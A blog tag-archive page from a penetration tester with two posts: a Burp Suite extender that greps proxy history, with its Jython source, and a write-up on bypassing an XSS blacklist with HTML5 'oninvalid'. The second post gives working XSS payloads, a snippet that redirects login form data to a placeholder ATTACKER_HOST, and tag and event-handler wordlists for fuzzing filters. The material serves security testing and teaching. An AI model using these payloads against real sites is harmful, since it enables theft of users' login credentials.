Tag Archives: Burp Suite

Grep Extractor a Burp Extender

Burp Suite’s “Intruder” is one of my favourite features. It automates various parts of my job for me by repeating a baseline request with minor variations. You can then check out how a target responded. Unlike the “Reapeater” you get a nice table of results and at a glance can find things with different response codes. Basically Intruder is brilliant.

Intruder has a feature called Grep Extract which allows you to find content within HTTP Responses and then extract the values. You might want to do this if you are enumerating users by an ID and you want to extract the email addresses for example.

I looked but could not find the same functionality via the Proxy History so I made a simple Extender to add that functionality. This blog post covers:

  • Basic Usage of Grep Extract – showing how to use Grep Extract within Intruder. Why not show the inspiration?
  • Grep Extractor – showing the code and how to use it.

This extender is designed to have the code altered by you when you want to extract something. It has never been easier for you to get your hands dirty and get a new Extender that does something useful!

Basic Usage of Grep Extract

When you are inspecting the results of an intruder attack you can use the “options” tab and “Grep – Extract” down at the bottom to extract data from a response. Here is what the options look like:

01-Grep-Extract

Click on “Add” to bring up the screen below where you can simply highlight the part you want to extract:

02-using-grep-extract

In this case the response page has a Credit Card number so I highlighted that part. When you apply that the Intruder results table will update to include a new column with the extracted data:

03-grep-extract-giving-you-the-details

You can export the results to a CSV file via that “Save” menu. This is all very well and good when you are using Intruder.

Grep Extractor

You have seen how Burp provides this feature within Intruder. It uses a nice GUI approach which we are not replicating at all. The following shows the source code for Grep Extractor:

#burp imports
from burp import IBurpExtender
from burp import IBurpExtenderCallbacks
from burp import IExtensionHelpers
from burp import IContextMenuFactory
from burp import IContextMenuInvocation
import re

# java imports
from javax.swing import JMenuItem
import threading

class BurpExtender(IBurpExtender, IContextMenuFactory):

   def registerExtenderCallbacks(self, callbacks):
      self.callbacks = callbacks
      self.helpers = callbacks.getHelpers()
      self.callbacks.setExtensionName("Grep Extractor")
      self.callbacks.registerContextMenuFactory(self)
      return

   def createMenuItems(self, invocation):
      menu_list = []
      menu_list.append(JMenuItem("Grep Extractor", None, actionPerformed= lambda x, inv=invocation:self.startThreaded(self.grep_extract,inv)))
      return menu_list

   def startThreaded(self, func, *args):
      th = threading.Thread(target=func,args=args)
      th.start()

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
            res = traffic.getResponse().tostring()

            # start is the string immediately before the bit you want to extract
            # end is the string immediately after the bit you want to extract
            start = "" 
            end   = ""

            # example parsing response. Change res to req if data is in request.

            i = 0
            for line in res.split('\n'):
               if start in line:
                  # extract the string
                  extracted = line[line.find(start)+len(start):]
                  extracted  = extracted [0:extracted .find(end)]
                  # print exracted string, visible in Burp
                  
                  print extracted 

Nothing too scary in there and the comments should help you out. Lets give one simple example of how to use it. Lets say the site you are targeting has the “X-Powered-By” header. Was that consistent across all responses or did it alter at any point? Perhaps some folder is redirecting to a different backend system and you didn’t notice.

Modify the start and end strings as shown below:


start = "X-Powered-By:" 
end   = "\n"

Any data between “X-Powered-By:” and the next newline character will be printed out. Save your code and then reload the Extender within Burp. At this point you can right click on one or more entries in the proxy history and send to Grep Extractor via the option shown below:

04-send-to-grep-extractor

Any “print” commands issued from the Extender will goto the output for the extender. This is visible on the following menu:

Extender -> Select “Grep Extractor” -> Select “Output” tab.

The following shows output from the proxy history with our target:

05-scraping-x-powered-by

It looks like the target site is consistent with it’s “X-Powered-By” headers. Well we struck out there but hopefully you can see the benefits of getting dirty and dipping your toes in the ocean of Burp Extenders. With relatively little coding knowledge you can get powerful results from Grep Extractor.

Example X-CSRF-Token

This example shows how to markup each request which did NOT include the HTTP header “X-CSRF-Token”:

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
			
            if req.find("X-CSRF-Token:")== -1:
                traffic.setComment("Request without X-CSRF-Token header")
                traffic.setHighlight("pink")

This uses the “setComment” and “setHighlight” methods as documented at the following URL:

https://portswigger.net/burp/extender/api/burp/IHttpRequestResponse.html

Instead of logging information to the stdout this will update all requests within proxy visibly with a pink background and a useful comment. This does not alter any pre-existing highlights or comments (at least when I tested it).

By reviewing the proxy history I discovered the token was consistently set for everything apart from the login form. There was no impact but it helped me get to this answer quickly.

Example Set-Cookie

This example shows how to print out every “Set-Cookie” directive in the selected responses:

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
            res = traffic.getResponse().tostring()

            start = "Set-Cookie:"
            end = "\n"

            for line in res.split("\n"):
               if line.find(start) !=-1:
                  line = line.strip()
                  print line

I needed to do this when conducting a re-test of an application which had certain cookies set without “httpOnly” and others without “secure” flags. By printing the full “Set-Cookie” directive I even visually caught a few anomalies where rare cases resulted in “secure; secure;”. Most likely the result of the framework and then reverse proxy ensuring the flag was set. It only affected one folder.

Vulnerable Test Site

The data shown in the proxy logs all comes from browsing the vulnerable website from Acunetix available below:

http://testphp.vulnweb.com/

This was just to populate my Burp history with a few requests and responses.

Hope that helps,
Cornerpirate

XSS using HTML 5 Event Handlers

I recently had some luck using HTML 5 event handlers to exploit XSS. This post includes some of the outcomes and a bit of how to replicate the steps using Burp Suite’s Intruder using some wordlists stuck at the end of this post.

The target had attempted to use blacklisting to prevent dangerous tags and event handler combinations. So things like “onload” and “onerror” were rejected when they were within the context of an HTML tags. So you would see this behaviour:

Probe Response
onerror String on own is not a threat. Filter allows it
<img src=x onerror=”alert(1);”/> String is inside a tag. Filter blocks it

Crucially the target was doing nothing to block or encode individual characters so we had the full range listed below:

  • <
  • >
  • =
  • ;
  • white-space

Not encoding these characters pretty much guarantees XSS will be exploitable.

Relying on a pure blacklist approach is a poor defence which is why it was bypassed with a bit of elbow grease.

Injecting when angle brackets are possible

If your target allows angle brackets you can create a new HTML tag and then use my new friend the HTML 5 “oninvalid” event handler as shown below:

"><input style="visibility: hidden" oninvalid="alert(1)" required><a="

This is interesting because:

  1. It introduces a new input tag.
  2. By setting the id to “a” we can use getElementById(“a”) in payloads (see next section)
  3. Then it makes that invisible using the style attribute.
  4. It uses my new buddy “oninvalid” to contain the JavaScript to execute.
  5. Ending with “required” which means when a form is submitted if this field is empty the event handler will trigger.

The “oninvalid” event handler is enabled in all modern web browsers so this has a nice cross browser support.

Payloads with user interaction are usually not so good.  While other event handlers like “oncontextmenu” worked, the user would have to right click on the injected area. Even after making something cover the whole page why would they right click? This is why I really like “oninvalid” because it is natural to actually submit a web form when the user is presented with one. Particularly considering the fact I was injecting into a Login page.

Example Payload to snoop on a form

I created a payload which would redirect form data to an attacker’s HTTP server. For readability this has been split into three lines as shown below:

document.getElementById("a").value="a";
document.forms[0].action="https://ATTACKER_HOST/";
document.forms[0].method="GET";

First it alters the value of our injected parameter so that the form will then submit.

Then it alters the action to our web server. To avoid mixed content warnings it is most likely that you will need to start an HTTPS listener. If yours has a valid certificate then all the better.

Finally it changes the method to GET so the form details are now in a URL for the server logs. This is not strictly necessary as you could create a route to log details over HTTP POST. As I am not actually a bad guy my PoC is enough at this point.

Injecting when angle brackets are NOT possible

If the target denies angled brackets you cannot create a new input tag. If your probes land inside an “<input>” tag (as mine actually did) I was able to refine the exploit. Our friend “oninvalid” can use regular expressions to validate input specified by a “pattern”. You can make that pattern always fail to then intercept form data.

The following shows the probe which would work for that:

" oninvalid="alert(1)" pattern=".{6,}"

So long as the user input does not match the pattern your alert message will popup when the form is displayed.

Mileage varies with this one. I was injecting into an input of type “hidden” which did not honour the oninvalid (for good reason). But when the type is “text” it worked. All of this tested in Firefox only.

Enumerating the Defences

As I cannot disclose what I was probing in this case, lets say that the vulnerable parameter was called “xssparam”. So I was injecting into something like this:

https://target/login.php?xssparam=<INJECT_HERE>

When I set the value of “xssparam” the application did one of two things:

  1. IF the value included a blocked term (i.e. “onerror”) then the entire parameter was rejected. The response page did not include any part of the “xssparam” value.
  2. IF the value included no blocked terms then the entire contents of “xssparam” was returned in the HTML response page.

This means that the target was blocking unsafe input. This is a better approach than trying to sanitise input (strip the bad stuff, and return ‘safe’ data) which usually just adds in more headaches. So that is something at least.

The problem with pure blacklists is simply an arms race against the filter where you try to locate HTML tags and event handlers which are not blocked. The next section explains how to use Burp’s Intruder to do this.

Using Intruder to Locate Weaknesses

Having enumerated the defences my favourite approach in this case is to use Burp’s intruder to find tags and probes which are allowed. To do this you would follow this process:

  1. Send the baseline request to intruder.
  2. Find the location of the injection point and mark it up.
    1. In this case login.php?xssparam=XSS1%20<INJECT_HERE>%20XSS2
    2. By using “XSS1” and “XSS2” we have an easy way to find our probes in the HTTP response.
  3. Create a txt file of probes to try. In this case I have used a list of HTML tag names and HTML event handlers which are provided at the end of this post.
  4. Load those probes
  5. Configure a “grep extract” to locate the probe in the response and extract it as shown below:

grep-extract

When you run the intruder process your grep extract will list words which are not blocked by the filter:

list-of-available-event-handlers

In this case my process found that all HTML 5 event handlers worked in a raw probe. While the list of HTML tags was limited (but not shown). The final probe listed at the start of this was generated after discovering that the “input” tag and “oninvalid” were permitted past the filter. Hey, nobody said it was a GOOD filter!

Hopefully you now know how to use Burp’s Intruder to go manually hunting for XSS. Which is the point of this post.

List of HTML 5 Tags

This list was taken from the list here:

https://www.w3schools.com/tags/default.asp

For ease you can copy, paste and save this:

a
abbr
acronym
address
applet
area
article
aside
audio
b
base
basefont
bdi
bdo
big
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1 to h6
head
header
hr
html
i
iframe
img
input
ins
kbd
label
legend
li
link
main
map
mark
meta
meter
nav
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
pre
progress
q
rp
rt
ruby
s
samp
script
section
select
small
source
span
strike
strong
style
sub
summary
sup
svg
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr

List of HTML 5 Event Handlers

This list was taken from the list here:

https://www.quackit.com/html_5/tags/html_h3_tag.cfm

For ease you can copy, paste and save this:

onabort
oncancel
onblur
oncanplay
oncanplaythrough
onchange
onclick
oncontextmenu
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformchange
onforminput
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreadystatechange
onscroll
onseeked
onseeking
onselect
onshow
onstalled
onsubmit
onsuspend
ontimeupdate
onvolumechange
onwaiting